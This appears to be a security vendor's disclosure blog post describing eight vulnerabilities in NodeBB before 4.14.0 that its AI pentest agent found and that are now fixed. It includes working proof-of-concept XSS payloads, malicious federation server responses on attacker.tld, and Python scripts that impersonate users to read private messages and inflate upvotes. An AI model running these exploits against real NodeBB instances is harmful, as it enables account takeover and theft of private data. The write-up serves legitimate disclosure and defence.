Finding eight high-severity vulnerabilities in NodeBB in six hours

Aikido's AI Pentest discovered eight high-severity vulnerabilities in NodeBB versions prior to 4.14.0, including cross-site scripting and authorization bypasses, all exploitable on default instances. The vulnerabilities were fixed in early July after Aikido reported them to NodeBB maintainers.

TL;DR - NodeBB versions prior to 4.14.0 contain multiple high severity vulnerabilities - Upgrade to newer versions to resolve the vulnerabilities - Aikido will automatically flag vulnerable instances While improving our AI Pentest https://www.aikido.dev/attack/aipentest , we ran a whitebox assessment on NodeBB, a forum software powered by NodeJS. The result? Eight high-severity vulnerabilities that would all be exploitable on default instances of NodeBB. This includes Cross-Site Scripting XSS , two of which require interaction with a custom Federation server that the AI agent had to set up itself. Another affects practically every input on NodeBB due to a template injection. Apart from these issues, there were clever authorization bypasses to hijack and read various data that shouldn't be public. We've explained all of the interesting technical details below. An interesting thing about these autonomous pentests is that they complete their testing in just a few hours. Agents came up with ideas, traced through the code, and rigorously tested with the real application to report real findings. Human-led pentests often take much longer, since they can’t multiply their efforts as easily. After discovering the vulnerabilities, we quickly sent over a report to the maintainers of NodeBB, who were very quick to respond and immediately began working on fixes. The issues were fixed in early July. We’ll get into the technical details of the vulnerabilities, starting with some XSS. Cross-Site Scripting in custom Federation server profile icon This is far from your standard simple Reflected XSS injection, requiring the setup of a whole custom server to respond with a malicious XSS payload. Nonetheless, the agent models we use are great at coding, so they sift through indirection with ease and code up custom servers to test any kind of finding. It all starts with helpers.common.js http://helpers.common.js/ , which contains quite a lot of red flag-waving HTML concatenations. The one we'll focus on is: js function buildMetaTag tag { const name = tag.name ? 'name="' + tag.name + '" ' : ''; const property = tag.property ? 'property="' + tag.property + '" ' : ''; const content = tag.content ? 'content="' + tag.content.replace /\n/g, ' ' + '" ' : ''; return '<meta ' + name + property + content + '/ \n\t'; } In the header.tpl , each metaTags item is rendered using the above function: {{{each metaTags}}}{function.buildMetaTag}{{{end}}} User data is passed into res.locals directly here: if userData.picture { res.locals.metaTags.push { property: 'og:image', content: userData.picture, noEscape: true, }, { property: 'og:image:url', content: userData.picture, noEscape: true, } ; } While some other properties like userData.fullname are pre-escaped by converting " characters into " , the other property userData.picture isn't see accounts/helpers.js https://github.com/NodeBB/NodeBB/blob/16d176b6ea00614e99f295ae514b983ebdf4b2ef/src/controllers/accounts/helpers.js L126 . The URL for .picture is a user-uploaded file which normally points to some safe string like: /assets/uploads/profile/uid-3/3-profileavatar-1779885231799.png So even if this value isn't properly escaped like the fullname , how do we control it to deliver a malicious string containing " ? The trick is that this URL can be set arbitrarily when dealing with Federated profiles . The concept of federation here is interacting with a decentralized network of other instances having their own users & topics. Data is copied practically 1:1, so if we can return malicious data with a URL that escapes the quoted HTML syntax, we're in. We'll have to create a custom federation server that responds to /.well-known/webfinger with a reference to the XSS user, then return our XSS payload as the icon.url there: /.well-known/webfinger?resource=acct:xss@attacker.tld : { "links": { "href": "https://attacker.tld/ap/actor/xss", "rel": "self", "type": "application/activity+json" } , "subject": "acct:xss@attacker.tld" } /ap/actor/xss : { "@context": "https://www.w3.org/ns/activitystreams", "https://w3id.org/security/v1" , "icon": { "mediaType": "image/jpeg", "type": "Image", "url": "\" <img src onerror=\"alert origin \" " }, "id": "https://attacker.tld/ap/actor/xss", "inbox": "https://attacker.tld/ap/inbox/xss", "preferredUsername": "xss", "publicKey": { "id": "https://attacker.tld/ap/actor/xss main-key", "owner": "https://attacker.tld/ap/actor/xss", "publicKeyPem": "dummy" }, "type": "Person" } With this server listening on attacker.tld , all a victim has to do is search a user on the malicious domain or visit a link directly to it: https://nodebb.local/user/xss@attacker.tld https://nodebb.local/user/xss@attacker.tld The backend fetches attacker.tld for the xss user on /.well-known/webfinger , which references /ap/actor/xss . This is fetched, returning the XSS payload, which is rendered directly into the <meta tag. With the " <img payload, it allows breaking out of the HTML and triggering an alert origin popup with JavaScript: This issue has been fixed 4c4bf76 https://github.com/NodeBB/NodeBB/commit/4c4bf76d5d387a8944c3cbc2a8cf3c32a0a1aff0 by escaping the information from Federated sources too. Cross-Site Scripting in Federation Errors admin view We'll continue on the Federation trend, as another XSS vulnerability was found in the error log for administrators. It is good to note that while only administrators can see these logs, any unauthenticated attacker can store the payload. Exploiting this one required an even more complex attacker setup than the last XSS, but the agents still figured it out. The sink is simple. Inside errors.tpl , the {./id} variable is embedded into the HTML. <code {./id}</code While not a problem for most templating configurations, in NodeBB, the auto-escaping functionality for Benchpress is explicitly disabled here by replacing it with an identity function: escape: identity, }; function identity str { return str; } NodeBB relies on manually escaping variables passed into templates. One such spot where this is missed is the id of Federation Errors. And how do we trigger such an error, you may ask? We write another custom federation server, of course, but this time a little bit broken. We will first set up a server like before, but importantly, generate and serve a public key for signing messages. /actor : { "@context": "https://www.w3.org/ns/activitystreams", "id": "https://attacker.tld/actor", "type": "Person", "preferredUsername": "evil", "inbox": "https://attacker.tld/inbox", "publicKey": { "id": "https://attacker.tld/actor main-key", "owner": "https://attacker.tld/actor", "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2uT/87NAfA4Al+I28ddA\nGT6Uf0FbilviOOR/BDnL44MU03Dfpf8UJCCX4MiJ1nqRNfpytFZWaCLOCPWf5N2S\nbu/o7ThDUUBlXPIa3z/p/xgyKFDyRVIQBrD43fnJwmsZd213NVqd00Nca3nsZ1He\n94yCUV61rrr8wEprnaGV9NLY6shTFO1PJub22QiadLB6hSPaJJ3C8volUZICWFT+\nGnNnIzi1LqG/x2MPvFBVHNY/HKNDp2NCHjZq/9V+kteygihepqw5BjHwC1kvIhGJ\nhPGKc3tguUBdpaba5cv2Uso6glwTqAUq3XYSBq49O7vShPoncK5Yb0LZ593YtV/A\n2wIDAQAB\n-----END PUBLIC KEY-----\n" } } Then add a /.well-known/webfinger endpoint like before, which returns any account: /.well-known/webfinger?resource=acct%3Aevil%40attacker.tld : { "subject": "acct:evil@attacker.tld", "links": { "rel": "self", "type": "application/activity+json", "href": "https://attacker.tld/actor" } } Now that we have a server at attacker.tld with a key we know, we can send NodeBB updates via the /inbox path. Each type we send is handled by a specific function in inbox.js . Middleware verifies a signature using ActivityPub.verify , which essentially takes a bunch of attributes from the request and verifies they are signed by the federation server's public key. We made our own server, so that part is easy now. To trigger an error, we can take the first one in inbox.update : js inbox.update = async req = { const { actor, object } = req.body; const isPublic = publiclyAddressed ... object.to || , ... object.cc || ; // Origin checking const actorHostname = new URL actor .hostname; const objectHostname = new URL object.id .hostname; if actorHostname == objectHostname { throw new Error ' error:activitypub.origin-mismatch ' ; } error:activitypub.origin-mismatch happens when the actor and object.id from our request don't match. We can easily forge that. Importantly, the id we provide will be stored with the error, and, as we learned, is displayed unsafely as HTML on the Admin Panel. Therefore, we'll set that to an XSS payload like <img src onerror=alert origin . The final script looks like this: Craft payload payload = { '@context': 'https://www.w3.org/ns/activitystreams', 'id': '<img src onerror=alert origin ', 'type': 'Update', 'actor': f'https://attacker.tld/actor', 'object': { Different origin than actor to trigger an error path 'id': 'https://nodebb.local/post/1', 'type': 'Note' }, 'to': 'https://www.w3.org/ns/activitystreams Public' } Build signature key id = f'https://attacker.tld/actor main-key' inbox url = 'https://nodebb.local/inbox' u = urlparse inbox url date = datetime.now timezone.utc .strftime '%a, %d %b %Y %H:%M:%S GMT' signed = f' request-target : post {u.path}\nhost: {u.netloc}\ndate: {date}' sig = base64.b64encode priv.sign signed.encode , padding.PKCS1v15 , hashes.SHA256 .decode headers = { 'Host': u.netloc, 'Date': date, 'Signature': f'keyId="{key id}",headers=" request-target host date",signature="{sig}",algorithm="hs2019"', 'Accept': 'application/activity+json', 'Content-Type': 'application/ld+json;profile="https://www.w3.org/ns/activitystreams"', } Send request r = requests.post inbox url, headers=headers, data=json.dumps payload , timeout=30, verify=False print 'Status:', r.status code print r.text :200 After sending this payload, it should fetch the attacker's custom server to verify the signature, then the referenced actor. Because the origins of actor and object.id in the payload differ, an error is thrown, and an entry inside the Federation Errors page on the Admin Panel is created. When an administrator now proceeds to visit this page to check for errors, they are greeted with a JavaScript alert box, because our malicious <img tag was interpreted as real HTML between the <code : From here, an attacker can take over the whole NodeBB instance, because JavaScript can make an administrator do anything. This issue has been fixed 16bda6b https://github.com/NodeBB/NodeBB/commit/16bda6b9556c3f50cec994eff7eca185bee59d95 by escaping all fields displayed in the Federation Errors. Cross-Site Scripting via translation Template Injection The last XSS vulnerability found was another interesting one. It has to do with how templates are rendered. To return a body, NodeBB essentially goes through these two steps defined in render.js : - Render Benchpress template with input variables syntax: {...} - Interpret translation keys syntax: ... function renderContent render, tpl, req, res, options { return new Promise resolve, reject = { render.call res, tpl, options, async err, str = { if err reject err ; else resolve await translate str, getLang req, res ; } ; } ; } We've seen what can go wrong with Benchpress in the previous vulnerability already. Now we'll focus on the translate function, which crucially happens after our input is rendered into the template. The vulnerability already starts here. Because our input already made its way into str by the time translations are run over it, if we can write the same ... syntax, it would be interpreted. or are not treated as special characters by escapeCharMap inside utils.common.js , only &< "' = are. In fact, every page reflects the URL in a <meta property="og:url" property. We can inject a translation key into this very property to see the result. Translation keys are stored per namespace, for example, topic.json contains "flag-user": "Flag this user" . If we reference that: https://nodebb.local/test topic:flag-user <meta property="og:url" content="https://nodebb.local/testFlag this user" / It was successfully interpreted. Some messages are more complex and contain placeholders with %1 and %2 , which we can control via comma arguments. For example: "merged-message": "This topic has been merged into <a href=\"%1\" %2</a " Something interesting is about to happen because the translation contains " to define the href , while the context we inject it into is not text, but a meta content= attribute, also using double-quotes to contain its value. https://nodebb.local/test topic:merged-message,A,B <meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="A" B</a " / By the syntax highlighting, you can see that what used to be the opening quote for href= , is now the closing quote for content= . That means starting at our A , we're in an attribute definition context and can add any attributes to this tag However, if we simply replace A with onerror=alert , we see a sad sight: <meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="onerror& x3D;alert " B</a " / While the attribute seems to be passed through, the equals sign = has turned into = . Remember? In escapeCharMap , the equals sign is seen as a special character and is always HTML-escaped in output. Therefore, we can’t add values to attributes to turn this injection into XSS. All hope is not lost, though, since the template we used, merged-message , places our first parameter A straight into the href= of this <a tag. Using a javascript: URI, it is still possible to execute arbitrary JavaScript on click. We just have to do this after our first escape of the attribute by adding another template tag: https://nodebb.local/test topic:merged-message,A,B topic:merged-message,javascript:alert origin ,CLICK%20ME <meta property="og:url" content="http://4.245.3.4:4567/testThis topic has been merged into <a href="A" B</a This topic has been merged into <a href="alert origin " CLICK& 37;20ME</a " / Visually, there's now a header on the page with the text CLICK%20ME . When clicked, the JavaScript executes and alert origin is shown: We just proved the PoC on the easiest-to-test reflection, the URL itself. But this works in any output generated by NodeBB. In the URL, we're limited to URL-encoded characters like %20 . In the admin-only /flags?quick= endpoint, the value of quick is also reflected, but is URL-decoded To finish up the PoC, we can make it more realistic by using emoji's to look like official icons, asking the user to update with an "⚠️ Update required" message: https://nodebb.local/flags?quick= topic:merged-message,javascript:alert origin ,%E2%9A%A0%EF%B8%8FUpdate%20required <span class="filter-label" filter-quick-This topic has been merged into <a href="javascript:alert origin " ⚠️Update required</a </span Again, clicking the button would trigger arbitrary JavaScript. This was the initial proof of concept the agent used to report the issue. The payload can even be stored inside posts on NodeBB, making it easily shared with other users. The underlying issue is that all rendered content goes through a translation pass where user input can write the same syntax. Fixing this issue was more complicated. As we've seen, it is more of a design issue than a specific bug somewhere. Because translations always happen after template rendering, and translation characters are allowed in the template. The naive fix would be to HTML-escape and characters to ensure they aren't interpreted as translations. But it turns out that some features/plugins actually require being able to render translation sequences from template variables. This would be a breaking change. For the initial fix, NodeBB attempted to manually escape every place user input is reflected with translator.escape . This is not complete, however, so they put in a lot of work https://github.com/NodeBB/NodeBB/pull/14341 to refactor the translation system so it can be auto-escaped, and fix features/plugins to handle the breaking change properly. This is now implemented in version 4.14.0. As an added defence, the HTML coming out of the translator functions is sanitized now too https://github.com/nodebb/nodebb/commit/7ef400b311f22dbb1286916247abdb64e1bb369b diff-82d21ad5dc87c763e168740d57b760145befc618dd0acf49b56b6045a798d8d5 , so that even if an attacker controls the text, they cannot write javascript: hrefs. Bypassing admin authorization middleware using custom homepage This is a simple but clever one. If we look into the middleware of NodeBB, we find this snippet responsible for handling authorization to /admin routes inside middleware/admin.js : js middleware.checkPrivileges = helpers.try async req, res, next = { // Kick out guests, obviously if req.uid <= 0 { return controllers.helpers.notAllowed req, res ; } // Otherwise, check for privilege based on page if not in mapping, deny access const path = req.path.replace /^ \/api ? \/v3 ?\/admin\/?/g, '' ; if path { const privilege = privileges.admin.resolve path ; if await privileges.admin.can privilege, req.uid { return controllers.helpers.notAllowed req, res ; } } else { // If accessing /admin, check for any valid admin privs const privilegeSet = await privileges.admin.get req.uid ; if Object.values privilegeSet .some Boolean { return controllers.helpers.notAllowed req, res ; } } It all seems correct upon initial inspection. If privileged.admin.get doesn't return anything, you're not allowed in. The crucial part is that this middleware is registered for the /admin route before handling custom homepage rewrites in routes/index.js : router.all /+api/admin|/+api/admin/ ?${mounts.admin == 'admin' ? |/+api/${mounts.admin}|/+api/${mounts.admin}/ ? : ''} , middleware.authenticateRequest, middleware.ensureLoggedIn, middleware.admin.checkPrivileges ; router.all /+admin|/+admin/ ?${mounts.admin == 'admin' ? |/+${mounts.admin}|/+${mounts.admin}/ ? : ''} , middleware.ensureLoggedIn, middleware.applyCSRF, middleware.admin.checkPrivileges ; // handle custom homepage routes router.use '/', controllers.home.rewrite ; Any user can configure their homepage to be rewritten to another URL as a feature. This is implemented by another middleware triggered on / . Internally it sets req.url to reflect the configured value: async function rewrite req, res, next { if req.path == '/' && req.path == '/api/' && req.path == '/api' { return next ; } ... route = await getUserHomeRoute req.uid, next ; parsedUrl = new URL route, 'http://localhost.com' ; const pathname = parsedUrl.pathname.replace /^\/+/, '' ; req.url = req.path + req.path.endsWith '/' ? '/' : '' + pathname; ... next ; is called to continue looking up the actual route, but this is now next after the admin path checks have already been performed. This means if you set your custom homepage to /admin , you'll see the Admin dashboard, even as a regular member. No admin access necessary. The only thing "blocking" us is some client-side code that fetches the configured value when you try to save it, before actually sending the settings to the server: $.get config.relative path + '/' + settings.homePageCustom, function { saveSettings settings ; } .fail function { alerts.error ' error:invalid-home-page-route ' ; } ; This check is easily subverted by directly sending a PUT /api/v3/users/:id/settings request or using a breakpoint in the browser to skip the check and call saveSettings directly. After setting it to admin/advanced/cache , for example, we can reload the / page and see a bunch of internal information intended for administrators: Even APIs are accessible via /api/admin , however, most APIs for actually editing data go through /api/v3/admin . These are the "write" routes, and have additional privilege checks inside each route's handler. They are therefore not vulnerable to this attack. Still, it results in some significant data exposure/modification: GET /api/admin/users/csv : Get all users CSV export if exists. Columns depend on what the last admin export chose GET /api/admin/advanced/errors : Read all error logs POST /api/admin/manage/categories : Add remote category to sidebar list POST /api/admin/uploadlogo : Update site logo This issue has been fixed 9885f94 https://github.com/NodeBB/NodeBB/commit/9885f94a2bcaa599c85fb54c4e3302b6b0803633 diff-268a45f8e3c5fba5953593271f7aaed3d91812853a17dea472417fcc17c84bfd by re-ordering the middleware to run permission checks after rewriting. User ID spoof to read private messages In order to communicate with other social networks, NodeBB implements ActivityPub, which is a protocol to share users/content across instances. This is made cryptographically secure by giving each user a public key with which they can sign actions. In requests, a Signature: header is added with attributes like keyId and signature . The ActivityPub.verify function validates these correctly: js ActivityPub.verify = async req = { ... let { keyId, headers, signature, algorithm, created, expires } = req.headers.signature.split ',' .reduce memo, cur = { const split = cur.split '="' ; const key = split.shift ; const value = split.join '="' ; memo key = value.slice 0, -1 ; return memo; }, {} ; const signed string = headers.split ' ' .reduce memo, cur = { ... }, .join '\n' ; const publicKeyPem = await ActivityPub.fetchPublicKey keyId ; return await verifyAsync 'sha256', Buffer.from signed string , publicKeyPem, Buffer.from signature, 'base64' ; If we look at where this function is used, we see only its place in the activitypub.js middleware here: middleware.verify = async function req, res, next { // Verifies the HTTP Signature if present required for POST const passthrough = /\/actor/, /\/uid\/\d+/ ; if req.method === 'GET' && passthrough.some regex = regex.test req.path { return next ; } if req.method === 'POST' { const verified = await activitypub.verify req ; if verified { return res.sendStatus 400 ; } } if req.headers.signature { const keyId = req.headers.signature.split ',' .filter line = line.startsWith 'keyId="' ; if keyId.length { req.uid = keyId.shift .slice 7, -1 .replace / . $/, '' ; Interestingly, it only runs activitypub.verify req if the req.method === 'POST' GET requests don't have their signature verified for some reason. What endpoints can we reach with this? There is really only one endpoint that uses req.uid for authentication, and that is GET /message/:mid . In middleware/assert.js we read: await messaging.canViewMessage req.params.mid, roomId || req.params.roomId, req.uid This endpoint retrieves private messages from req.params.mid : js Actors.message = async function req, res { ... const messageObj = await messaging.getMessageFields req.params.mid, ; messageObj.content = await messaging.parse messageObj.content, messageObj.fromuid, 0, messageObj.roomId, false ; const payload = await activitypub.mocks.notes.private { messageObj } ; res.status 200 .json payload ; }; Now we have the full picture. The Signature: header is only verified for POST requests, so the GET /message/:mid endpoint does not verify the keyId= attribute. With it, we can impersonate anyone and leak the incremental message IDs one by one to completely compromise private chats. Fetch all users users = requests.get f'{HOST}/api/users', timeout=10 .json .get 'users', users = u 'uid' , u.get 'username', '?' for u in users print f'Found {len users } users' Fetch all message IDs for each user for mid in tqdm range 1, 80 : for uid, name in users: headers = { 'Accept': 'application/activity+json', 'Signature': f'keyId="{uid}"', } r = requests.get f'{HOST}/message/{mid}', headers=headers, timeout=10 if r.ok: j = r.json content = j.get "content", "" :80 .strip tqdm.write f'Impersonating {name} {uid} - message {mid}: {content}' This issue has been fixed f6b5cd8 https://github.com/NodeBB/NodeBB/commit/f6b5cd82727b17f9a26fafdb82bf30f1e1a262c8 by only setting req.uid in a code branch where activitypub.verify already verified the Signature header. Hijacking posts with pid Mass Assignment With all these JSON bodies you're bound to have some Mass Assignment bugs, so that's what the agent looked for next. If you're unfamiliar with this bug type, it is about adding internal fields to your request to overwrite them without the web application intending you to. This often happens when a whole request body is parsed and thrown into the database. Are there any patterns like it in this codebase? Here in the POST /api/v3/topics , endpoint we read: js Topics.create = async req, res = { const id = await lockPosting req, ' error:already-posting ' ; try { const payload = await api.topics.create req, req.body ; It does exactly what we're looking for, passing req.body into topicsAPI.create . The implementation of it later calls Posts.create which trusts the given data.pid : js const pid = data.pid || await db.incrObjectField 'global', 'nextPid' ; let postData = { pid, uid, tid, content, sourceContent, timestamp }; The pid property is the Post ID, unique so any post can be looked up via this number. Note that this is slightly different from a topic , since one topic can have multiple posts under it replies . The very first post on any NodeBB is always a "Welcome to your NodeBB " post by the admin: Its ID is always 1 , and new posts increment from there. What would happen if we created a new post that also has pid: 1 ? Let's try it POST /api/v3/topics HTTP/1.1 Host: nodebb.local x-csrf-token: 77a...65b Cookie: express.sid=s%3A... Content-Length: 133 Content-Type: application/json { "title": "title", "content": "OVERWRITTEN BY ATTACKER", "cid": 2, "tags": , "thumbs": , "timestamp": 0, "pid": 1 } Checking back on the welcome post: We've hijacked the post But the content doesn't seem to be updated yet. Because we own it now, though, we can just quickly edit and save it again to actually update the content: The URL is still the same, and anyone who goes back to this post will see the new attacker's content. Combined with a look-alike account, this can be very powerful for poisoning some of the content, like changing malicious commands to copy in some tutorial. This issue has been fixed 7f08fb9 https://github.com/NodeBB/NodeBB/commit/7f08fb95046877d7ceb8d51acd67b0996334a7c9 by deleting the pid property from the request body, so it can’t overwrite the internal field anymore. Read all categories without authentication This might be the easiest vulnerability in this post. It can be summarized as one sentence: "/category/{cid}/outbox is missing authorization when ActivityPub accept header is set". It really is as simple as this. The route /category/:cid/outbox is handled by the following function, which doesn't perform authorization checks, but returns all topics in a certain category including private ones , referenced by an incremental cid . js Controller.getCategoryOutbox = async req, res = { const { cid } = req.params; const { page } = req.query; const set = cid:${cid}:pids ; const count = await db.sortedSetCard set ; const collection = await activitypub.helpers.generateCollection { set, count, page, perPage: 20, url: ${nconf.get 'url' }/category/${cid}/outbox , } ; ... res.status 200 .json { '@context': 'https://www.w3.org/ns/activitystreams', ...collection, } ; }; A simple GET request to /category/2/outbox with an Accept: application/activity+json header to trigger ActivityPub returns an unfiltered list of all posts under that Category ID. Here's a private category we made that only administrators have access to: Without authentication, the following content can be retrieved: { "@context": "https://www.w3.org/ns/activitystreams", "type": "OrderedCollection", "totalItems": 2, "orderedItems": { "object": { "object": { ... "name": "secret content", "url": "https://nodebb.local/post/2", "content": "<p SUPER SECRET CONTENT</p \n" }}}, { "object": { "object": { ... "inReplyTo": "http://4.245.3.4:4567/post/2", "name": "secret content", "url": "https://nodebb.local/post/3", "content": "<p replies too </p \n" } This issue has been fixed 8e98325 https://github.com/NodeBB/NodeBB/commit/8e98325edf428cda2aa68a1623bc71d11ea7c24a by adding a topics:read permission check to the outbox route. Upvote inflation by unchecked actor This last one is more of a fun one, but could be abused in spam or manipulation. One of the agents found a way to infinitely upvote a post Speaking of infinite… Check out Aikido Infinite Continuous Pentesting ; There are 2 ways of upvoting a post "Like" in ActivityPub : - Directly via /inbox or /uid/:uid/inbox , verified with the Signature keyId - Embedded into an "Announce" message via /category/:cid/inbox In such a message, you provide an actor which represents the person who performed the action. Middleware authorizes this actor with the Signature header's keyId , specifically the req.body.actor field: middleware.assertPayload = helpers.try async function req, res, next { ... let { actor } = req.body; const { hostname } = new URL actor ; const allowed = await activitypub.instances.isAllowed hostname ; await activitypub.actors.assert actor ; let compare = await db.getObjectsFields userRemote:${actor}:keys , categoryRemote:${actor}:keys , , 'id' ; compare = compare.reduce ... .replace / \w- +$/, '' ; if compare == keyId { return res.sendStatus 403 ; } This works great for the 1st endpoint, because its actor property needs to be verified. Here's an example message: { "id": "https://nodebb.local/uid/42 activity/like/3", "type": "Like", "actor": "https://nodebb.local/uid/42", "to": "https://www.w3.org/ns/activitystreams Public" , "cc": "https://nodebb.local/uid/7" , "object": "https://nodebb.local/post/3" } However, the format for an "Announce" message is different, the Like's actor is embedded inside an object : { "id": "https://nodebb.local/post/3 activity/announce/1717234567890", "type": "Announce", "actor": "https://nodebb.local/category/1", "to": "https://nodebb.local/category/1/followers" , "cc": "https://nodebb.local/uid/42", "https://www.w3.org/ns/activitystreams Public" , "object": { "id": "https://nodebb.local/uid/42 activity/like/3", "type": "Like", "actor": "https://nodebb.local/uid/42", "to": "https://www.w3.org/ns/activitystreams Public" , "cc": "https://nodebb.local/uid/7" , "object": "https://nodebb.local/post/3" } } Because both use the same assertPayload middleware, the 2nd way using the "Announce" format isn't verified . The actor can be any random unique string to act as a new user. Here, the Like object type is recognized and directly uses object.actor into posts.upvote : js case object.type === 'Like': { const id = object.object.id || object.object; const { id: localId } = await activitypub.helpers.resolveLocalId id ; const exists = await posts.exists localId || id ; if exists { try { await activitypub.actors.assert object.actor ; const result = await posts.upvote localId || id, object.actor ; An attacker can repeatedly send requests like this to steadily increase the number of upvotes on a post, with thousands per minute to completely inflate a post's trustworthiness. POST ID = 1 Target post payload = { 'id': str uuid.uuid4 , 'type': 'Announce', 'actor': 'https://nodebb.local/uid/999', 'object': { 'id': f'https://nodebb.local/object/{uuid.uuid4 }', 'type': 'Like', 'actor': f'https://nodebb.local/fake-{uuid.uuid4 }', 'object': f'https://nodebb.local/post/{POST ID}' } } headers = {'Content-Type': 'application/activity+json', 'Signature': 'keyId=""'} r = requests.post 'https://nodebb.local/category/1/inbox', headers=headers, json=payload This issue has been fixed 8e98325 https://github.com/NodeBB/NodeBB/commit/c4b9d03b474368cda004f79d10ac82a66ec20bc3 by always verifying the Signature header for POST requests. Conclusion With the rise of AI, the speed of pentests is ever increasing. You can suddenly hire a group of 400 small pentesters to look at your application for the price of a regular pentest. Developers can keep shipping code quickly while AI pentest agents keep up and test new features for security issues, even the smallest and most complex. At Aikido, we provide AutoFixes and easy retests to help remediate any identified vulnerabilities. NodeBB was very quick to respond to our report, which we appreciated greatly. They asked for clarification on some things, and we could provide feedback on the fixes to ensure there are no trivial bypasses. One last takeaway. In this pentest, we saw a lot of vulnerabilities in the ActivityPub implementation, and we think this can be generalized and applied to more applications. Whenever there are multiple ways to do things, the most common or built-in way is often heavily secured, while the alternative way is riddled with bugs. Ensure all your external integrations and alternative routes are as secure as your main ones Our AI pentesting tool discovered this on its own. If you want high quality, fast pentesting running against your application, check out Aikido’s pentesting suite https://www.aikido.dev/attack/aipentest .